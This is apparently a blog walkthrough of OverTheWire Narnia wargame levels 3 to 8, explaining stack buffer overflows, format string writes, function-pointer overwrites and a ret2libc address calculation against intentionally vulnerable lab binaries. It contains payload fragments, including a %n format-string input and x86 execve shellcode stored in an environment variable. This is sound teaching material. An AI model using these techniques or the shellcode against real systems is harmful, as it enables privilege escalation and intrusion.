Exploring Narnia CTF N3 to N9 - OverTheWire
Narnia
Continuing from the Narnia series, where we solved challenges N0, N1, and N2, in this blog, I will be sharing my experience of solving narnia3
to narnia9
.
This blog focuses on the methodology for approaching a CTF challenge and the brainstorming process involved in reaching a solution. These challenges are slightly more difficult compared to the previous ones.
Narnia 3
To log in to narnia3
, you can connect to the SSH service hosted on port 2226
at narnia.labs.overthewire.org
.
Use the following command: ssh -p 2226 narnia3@narnia.labs.overthewire.org
.
You can use the password obtained while solving narnia2
.
Let’s try running the binary /narnia/narnia3
.
This binary copies the content of arg1
to /dev/null
. I gave the argument as the password file /etc/narnia_pass/narnia4
, and it copied it to /dev/null
.
I tried running it with ltrace
to see the library calls, and we can clearly see that the content of arg1
is first copied to a buffer using strcpy()
. Interesting, there’s a chance of a buffer overflow here. Next, it opens /dev/null
by passing it to open()
, then it opens the arg1
file and reads the content of this file. After that, it writes the content to the /dev/null
file descriptor.
Here, we can try giving a large string, which should overflow into /dev/null
. The program will then open a user-controlled file. Let’s try giving a large string, and we’ll also check the disassembly to see the buffer sizes.
As expected, the large string overflowed the stack, resulting in an overwrite of the /dev/null
string. In the above image, we can see that the binary is trying to open the file AAAAAAAAAAAAAAA
instead of /dev/null
.
Try different sizes for the input string to find when we start writing to /dev/null
.
In the above image, after multiple tries, I found that after 32
bytes, we can overwrite /dev/null
.
I created a directory inside /tmp
and created a file called pass
, then passed this path after 32
bytes, and that’s it. Now, the content will be copied to our controlled file instead of /dev/null
.
We need to carefully craft the payload so it reads the password file and copies it to the pass
file in the /tmp
directory. You can use symbolic links for this purpose.
Narnia 4
Moving ahead, let’s log in to narnia4
using the password obtained in the previous level.
Let’s jump to /narnia
and try executing narnia4
.
Refer to the above images. When run with ltrace
, it loops through all environment variables and sets them to 0
, then arg1
is copied to a buffer.
Interesting, let’s directly try to overflow the buffer and see if we can overwrite the return address.
It seems that after 256
bytes, we can overwrite the return address. Verify this using the following command:
strace ./narnia4 $(python3 -c "import sys; sys.stdout.buffer.write(b'A'*264+b'BBBB')")
In above example, EIP
points to 0x42424242
, 256
bytes are enough buffer to store a shellcode. Now its simple we have to craft a shellcode and write the return address such that it points to our shellcode, same way we did for narnia2
Using the same payload we can get password for narnia5
, following worked for me.
Narnia 5
Lets try executing narnia5
,
In the above image, we can see that we need to change the i
value from 1
to 500
. arg1
is saved in buffer
, and I tried giving a large input, but it was not overflowing. No matter what, only 64 bytes are written to buffer
.
Lets run the binary with ltrace
.
So, the program is using snprintf()
to copy arg1
to buffer
and strictly copies only 64
bytes, as we can see in the second argument of snprintf()
.
I will be viewing the source code of this binary to better understand it.
If we can change the value of the variable i
to 500
, we will get a privileged shell.
I tried multiple times, but a buffer overflow cannot be done here due to the size restriction.
After searching a bit, I found that functions like printf
and snprintf
, when used improperly, can be vulnerable to format string vulnerabilities.
Ideally, snprintf
should be used like this: snprintf(buffer, sizeof(buffer), "%s", argv[1])
.
However, in this case, it is used incorrectly. The user controls argv[1]
, and we can pass format strings in the input, which can lead to reading stack memory or even writing on the stack.
There are multiple articles available on the internet; you can start with format string attack.
When we run the binary, it prints the address of the variable i
, which makes our task simple. We can write to that address directly.
$(python3 -c "import sys;sys.stdout.buffer.write(b'\xb0\xd1\xff\xff' + b'A'*496 + b'%n')")
The above mentioned argument would be useful, but in cases where you have to write a larger value to a memory location, writing A * n
times would not be a good idea. You can use %nx
, where n
is the number of bytes of padding to print hex.
Narnia 6
Let’s jump to the source code of the program.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
extern char **environ;
// tired of fixing values...
// - morla
unsigned long get_sp(void) {
__asm__("movl %esp,%eax\n\t"
"and $0xff000000, %eax"
);
}
int main(int argc, char *argv[]){
char b1[8], b2[8];
int (*fp)(char *)=(int(*)(char *))&puts, i;
if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }
/* clear environ */
for(i=0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
/* clear argz */
for(i=3; argv[i] != NULL; i++)
memset(argv[i], '\0', strlen(argv[i]));
strcpy(b1,argv[1]);
strcpy(b2,argv[2]);
//if(((unsigned long)fp & 0xff000000) == 0xff000000)
if(((unsigned long)fp & 0xff000000) == get_sp())
exit(-1);
setreuid(geteuid(),geteuid());
fp(b1);
exit(1);
}
In the above code, fp
is a pointer to the puts
function.
There are two buffers, b1
and b2
, which store arg1
and arg2
.
Before copying the buffers, the environment variables and all cli arguments after the second one are set to 0 using memset()
After copying the arguments to b1
and b2
, there is an if
condition that checks something with the stack and exits under certain conditions (we will come to this later). Then, the program runs fp
, which is the puts
function with the user-supplied argument.
Here, format strings won’t work for us because the puts
function does not expect any format specifiers.
Our best bet is to overwrite the address of fp
to point to another function. system()
would be a great choice if we want to spawn a shell.
As you can see in the above image, the highlighted section shows the strcpy()
function, which is copying arg1
and arg2
to buffers b1
and b2
. We can set breakpoints at these functions and check how we can overwrite the function pointer by analyzing the stack.
The following payload will overwrite the fp
:
run AAAAAAAABBBBCCCCCCCCCCCCCCCCCCCC DDDDDDDD
Here, BBBB
is the fp
pointer address, followed by 20 bytes
of buffer, and DDDDDDDD
is buffer 2.
If you look at the PLT
table, it will display all the functions used in this program. We can easily set the address of any of the functions present in PLT
. Following are the functions present in the PLT
table.
1
2
3
4
5
6
7
8
<exit@plt>
<geteuid@plt>
<memset@plt>
<printf@plt>
<puts@plt>
<setreuid@plt>
<strcpy@plt>
<strlen@plt>
One more thing, ideally in this scenario, we should be overwriting fp
with the buffer address (on the stack), and in the buffer, we should have stored a compact shellcode. That would be easy peasy to spawn a shell. But in this binary, after the strcpy()
operations are done, get_sp()
is called, which checks the address of fp
, and if it starts with 0xff
, the binary will exit.
The developer of the CTF intended this, so we can solve this in another way, like changing the value of fp
to some other function. Now, coming back to the PLT
table.
I tried using memset()
to write the buffer address in fp
, because fp()
is called after get_sp()
, but poor me got to know this later, that memset()
copies a single byte. My task would have been done easily if memcpy()
was present. Then I tried strcpy()
but it failed too. After multiple failures, I understood two things:
- This CTF needs to be solved by pointing
fp
to a function likesystem
, which can spawn a shell with a smaller argument like/bin/sh
—8 bytes, perfect for our scenario. - None of the functions from the
PLT
table could help.
So, let’s jump into finding the system()
address and overwrite fp
with it. (Yes, I took some hints.)
We know libc
is loaded in our binary, and system()
is part of libc
. First, we need to find the base address of libc
.
In gdb
, while the program is running, we can use info proc mappings
to check the base address of libc
. The highlighted section in the above image shows the base address of libc
.
The same can be verified using the ldd
command, as shown in the above image.
Now, let’s find the offset address of system()
.
Using the nm
command, we can find the offset of system()
in libc
, as shown in the above image.
Make sure to get the offset from i386 libc
, otherwise your exploit won’t work.
Let’s calculate the system()
address by doing libc_base + system()_offset
.
1
2
3
4
5
>>>
>>> hex ( 0xf7d7d000 + 0x00050430 )
'0xf7dcd430'
>>>
Now it should be simple—just overwrite the fp
with the above address, and the argument to this function should be /bin/sh
.
Narnia 7
This one is pretty nice; we already have enough knowledge to solve this challenge.
It’s a classic format string vulnerability with a twist.
The purpose of this CTF is to overwrite the value of ptrf
(pointer to function) so it points to hackedfunction
instead of goodfunction
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int goodfunction();
int hackedfunction();
int vuln(const char *format){
char buffer[128];
int (*ptrf)();
memset(buffer, 0, sizeof(buffer));
printf("goodfunction() = %p\n", goodfunction);
printf("hackedfunction() = %p\n\n", hackedfunction);
ptrf = goodfunction;
printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);
printf("I guess you want to come to the hackedfunction...\n");
sleep(2);
ptrf = goodfunction;
snprintf(buffer, sizeof buffer, format);
return ptrf();
}
int main(int argc, char **argv){
if (argc <= 1){
fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
exit(-1);
}
exit(vuln(argv[1]));
}
int goodfunction(){
printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
fflush(stdout);
return 0;
}
int hackedfunction(){
printf("Way to go!!!!");
fflush(stdout);
setreuid(geteuid(),geteuid());
system("/bin/sh");
return 0;
}
No need to do any kind of fuzzing to find the solution.
In order to solve it, first practice the simple format string vulnerability and understand how it works.
Just one hint is enough: carefully analyze the stack. You will need to first pop an address in order to start writing to our target address. Since the value to overwrite is bigger (address of hackedfunction
), %nx
would be helpful. If you need further help, we can discuss it. All the very best.
Narnia 8
The final BOSS.
This one is a buffer overflow vulnerability with a twist. And we have enough knowledge to solve this one as well.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int i;
void func(char *b){
char *blah=b;
char bok[20];
//int i=0;
memset(bok, '\0', sizeof(bok));
for(i=0; blah[i] != '\0'; i++)
bok[i]=blah[i];
printf("%s\n",bok);
}
int main(int argc, char **argv){
if(argc > 1)
func(argv[1]);
else
printf("%s argument\n", argv[0]);
return 0;
}
Command line arg1
is directly passed to func()
, this function makes a copy of arg1
pointer with name blah
, and this is directly copied to bok
, which is a 20-byte buffer.
Copying is done using a for
loop, and the loop continues until it finds a null
byte character in our input.
Looks easy, right? We can give a large buffer, and it should ideally overwrite the return address. But after trying multiple times, no matter how long arg1
is, it stops copying user-input after 20 bytes
. Sad, but what is stopping the for
loop from doing that?
In gdb
, if we carefully analyze this binary, we see that this happens because when bok
is overflowed, it overwrites the address of blah
, which is our source pointer. When the source pointer is changed, the program starts copying from some other location instead of arg1
.
Let’s put breakpoints before the start of the loop and at the end of the loop, and then run the program with an input greater than 20 bytes
.
1
2
break *0x0804919c
break *0x080491d6
In the above image, during the first breakpoint, we can clearly see 20 bytes
of the bok
buffer, and just after those 20 bytes
, the address of blah
is present. Hence, if we overflow bok
, it will overwrite the address of blah
, which will interrupt the proper copying of arg1
onto the stack.
This happens because of how the developer of this CTF has initialized the variables, especially in what order.
In the above image, during the second breakpoint, we can see that blah
is overwritten with random values.
What if we overwrite blah
with its original value of blah
? This will work, and we can continue overflowing the stack, resulting in the overwrite of the return address, which is exactly 4 bytes after the blah
address.
We can put the shellcode either in the buffer itself or use an environment variable and point the return address to our environment shellcode. I used an environment variable. Below is the shellcode for /bin/id
which I used for testing.
export SHELLCODE=$(python3 -c "import sys; sys.stdout.buffer.write(b'\x31\xc0\x50\x68\x2f\x2f\x69\x64\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80')")
After this variable is created, you need to find the address of this environment variable. Create a C program and use getenv()
to find the address. Make sure you compile your C program with the -m32
flag to create 32-bit ELF output.
There is still one more hurdle: we need to find the address of the blah
buffer before running the program so we can create our payload. There are multiple ways to do that.
If you need further help, we can discuss it. All the very best.
Final Note
That wraps up the Narnia series! It’s a great intro to stack-based buffer overflows and format string vulnerabilities. Now, for the next step in your journey, check out these challenges:
Feel free to explore Windows-based CTFs too.
Thanks for reading.